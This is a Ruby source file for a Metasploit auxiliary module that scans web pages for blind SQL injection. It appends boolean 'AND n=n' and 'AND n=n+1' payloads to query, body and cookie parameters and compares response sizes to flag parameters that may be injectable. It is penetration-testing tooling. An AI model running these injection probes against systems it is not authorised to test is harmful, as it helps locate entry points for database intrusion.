329 lines
8.4 KiB
Ruby
329 lines
8.4 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'rex/proto/http'
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::WMAPScanUniqueQuery
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include Msf::Auxiliary::Scanner
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'HTTP Blind SQL Injection GET QUERY Scanner',
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'Description' => %q{
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This module identifies the existence of Blind SQL injection issues
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in GET Query parameters values.
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},
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'Author' => [ 'et [at] cyberspace.org' ],
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'License' => BSD_LICENSE,
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'Version' => '$Revision$'))
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register_options(
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[
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OptString.new('METHOD', [true, "HTTP Method","GET"]),
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OptString.new('PATH', [ true, "The path/file to test SQL injection", '/index.asp']),
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OptString.new('QUERY', [ false, "HTTP URI Query", '']),
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OptString.new('DATA', [ false, "HTTP Body Data", '']),
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OptString.new('COOKIE',[ false, "HTTP Cookies", ''])
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], self.class)
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end
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def run_host(ip)
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gvars = nil
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pvars = nil
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cvars = nil
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rnum=rand(10000)
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valstr = [
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[ 'numeric',
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" AND #{rnum}=#{rnum} ",
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" AND #{rnum}=#{rnum+1} "
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],
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[ 'single quotes',
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"' AND '#{rnum}'='#{rnum}",
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"' AND '#{rnum}'='#{rnum+1}"
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],
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[ 'double quotes',
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"\" AND \"#{rnum}\"=\"#{rnum}",
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"\" AND \"#{rnum}\"=\"#{rnum+1}"
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]
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]
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#
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# Dealing with empty query/data and making them hashes.
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#
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if !datastore['QUERY'] or datastore['QUERY'].empty?
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datastore['QUERY'] = nil
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gvars = nil
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else
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gvars = queryparse(datastore['QUERY']) #Now its a Hash
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end
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if !datastore['DATA'] or datastore['DATA'].empty?
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datastore['DATA'] = nil
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pvars = nil
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else
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pvars = queryparse(datastore['DATA'])
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end
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if !datastore['COOKIE'] or datastore['COOKIE'].empty?
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datastore['COOKIE'] = nil
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cvars = nil
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else
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cvars = queryparse(datastore['COOKIE'])
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end
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#SEND NORMAL REQUEST
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begin
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normalres = send_request_cgi({
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'uri' => datastore['PATH'],
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'vars_get' => gvars,
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'method' => datastore['METHOD'],
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'ctype' => 'application/x-www-form-urlencoded',
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'cookie' => datastore['COOKIE'],
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'data' => datastore['DATA']
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}, 20)
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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rescue ::Timeout::Error, ::Errno::EPIPE
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end
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sigtxt = ""
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if normalres
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if normalres.body.empty?
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print_error("No body to obtain signature")
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return
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else
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sigtxt = normalres.body
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#print_status("#{sigtxt}")
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end
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else
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print_error("No response")
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return
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end
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#print_status("Normal request sent.")
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valstr.each do |tarr|
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#QUERY
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if gvars
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gvars.each do |key,value|
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gvars = queryparse(datastore['QUERY']) #Now its a Hash
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print_status("- Testing '#{tarr[0]}' Parameter #{key}:")
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#SEND TRUE REQUEST
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gvars[key] = gvars[key]+tarr[1]
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begin
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trueres = send_request_cgi({
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'uri' => datastore['PATH'],
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'vars_get' => gvars,
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'method' => datastore['METHOD'],
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'ctype' => 'application/x-www-form-urlencoded',
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'cookie' => datastore['COOKIE'],
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'data' => datastore['DATA']
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}, 20)
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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rescue ::Timeout::Error, ::Errno::EPIPE
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end
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if normalres and trueres
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#Very simple way to compare responses, this can be improved alot , at this time just the simple way
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reltruesize = trueres.body.length-(trueres.body.scan(/#{tarr[1]}/).length*tarr[1].length)
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normalsize = normalres.body.length
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#print_status("nlen #{normalsize} reltlen #{reltruesize}")
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if reltruesize == normalsize
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#If true it means that we have a small better chance of this being a blind sql injection.
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#SEND FALSE REQUEST
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gvars[key] = gvars[key]+tarr[2]
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begin
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falseres = send_request_cgi({
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'uri' => datastore['PATH'],
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'vars_get' => gvars,
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'method' => datastore['METHOD'],
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'ctype' => 'application/x-www-form-urlencoded',
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'cookie' => datastore['COOKIE'],
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'data' => datastore['DATA']
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}, 20)
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if falseres
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#Very simple way to compare responses, this can be improved alot , at this time just the simple way
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relfalsesize = falseres.body.length-(falseres.body.scan(/#{tarr[2]}/).length*tarr[2].length)
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#true_false_dist = edit_distance(falseres.body,trueres.body)
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#print_status("rellenf #{relfalsesize}")
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if reltruesize > relfalsesize
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print_status("Possible #{tarr[0]} Blind SQL Injection Found #{datastore['PATH']} #{key}")
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report_note(
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:host => ip,
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:proto => 'HTTP',
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:port => rport,
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:type => 'BLIND_SQL_INJECTION',
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:data => "#{datastore['PATH']} Parameter: #{key} Type: #{tarr[0]}"
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)
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else
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print_status("NOT Vulnerable #{datastore['PATH']} parameter #{key}")
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end
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else
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print_status("NO False Response.")
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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rescue ::Timeout::Error, ::Errno::EPIPE
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end
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else
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print_status("Normal and True requests are different.")
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end
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else
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print_status("No response.")
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end
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end
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end
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#DATA
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if pvars
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pvars.each do |key,value|
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pvars = queryparse(datastore['DATA']) #Now its a Hash
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print_status("- Testing '#{tarr[0]}' Parameter #{key}:")
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#SEND TRUE REQUEST
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pvars[key] = pvars[key]+tarr[1]
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pvarstr = ""
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pvars.each do |tkey,tvalue|
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if pvarstr
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pvarstr << '&'
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end
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pvarstr << tkey+'='+tvalue
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end
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begin
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trueres = send_request_cgi({
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'uri' => datastore['PATH'],
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'vars_get' => gvars,
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'method' => datastore['METHOD'],
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'ctype' => 'application/x-www-form-urlencoded',
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'cookie' => datastore['COOKIE'],
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'data' => pvarstr
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}, 20)
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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rescue ::Timeout::Error, ::Errno::EPIPE
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end
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if normalres and trueres
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#Very simple way to compare responses, this can be improved alot , at this time just the simple way
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reltruesize = trueres.body.length-(trueres.body.scan(/#{tarr[1]}/).length*tarr[1].length)
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normalsize = normalres.body.length
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#print_status("nlen #{normalsize} reltlen #{reltruesize}")
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if reltruesize == normalsize
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#If true it means that we have a small better chance of this being a blind sql injection.
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#SEND FALSE REQUEST
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pvars[key] = pvars[key]+tarr[2]
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pvarstr = ""
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pvars.each do |tkey,tvalue|
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if pvarstr
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pvarstr << '&'
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end
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pvarstr << tkey+'='+tvalue
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end
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begin
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falseres = send_request_cgi({
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'uri' => datastore['PATH'],
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'vars_get' => gvars,
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'method' => datastore['METHOD'],
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'ctype' => 'application/x-www-form-urlencoded',
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'cookie' => datastore['COOKIE'],
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'data' => pvarstr
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}, 20)
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if falseres
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#Very simple way to compare responses, this can be improved alot , at this time just the simple way
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relfalsesize = falseres.body.length-(falseres.body.scan(/#{tarr[2]}/).length*tarr[2].length)
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#true_false_dist = edit_distance(falseres.body,trueres.body)
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#print_status("rellenf #{relfalsesize}")
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if reltruesize > relfalsesize
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print_status("Possible #{tarr[0]} Blind SQL Injection Found #{datastore['PATH']} #{key}")
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report_note(
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:host => ip,
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:proto => 'HTTP',
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:port => rport,
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:type => 'BLIND_SQL_INJECTION',
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:data => "#{datastore['PATH']} Parameter: #{key} Type: #{tarr[0]}"
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)
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else
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print_status("NOT Vulnerable #{datastore['PATH']} parameter #{key}")
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end
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else
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print_status("NO False Response.")
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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rescue ::Timeout::Error, ::Errno::EPIPE
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end
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else
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print_status("Normal and True requests are different.")
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end
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else
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print_status("No response.")
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end
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end
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end
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end
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end
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end
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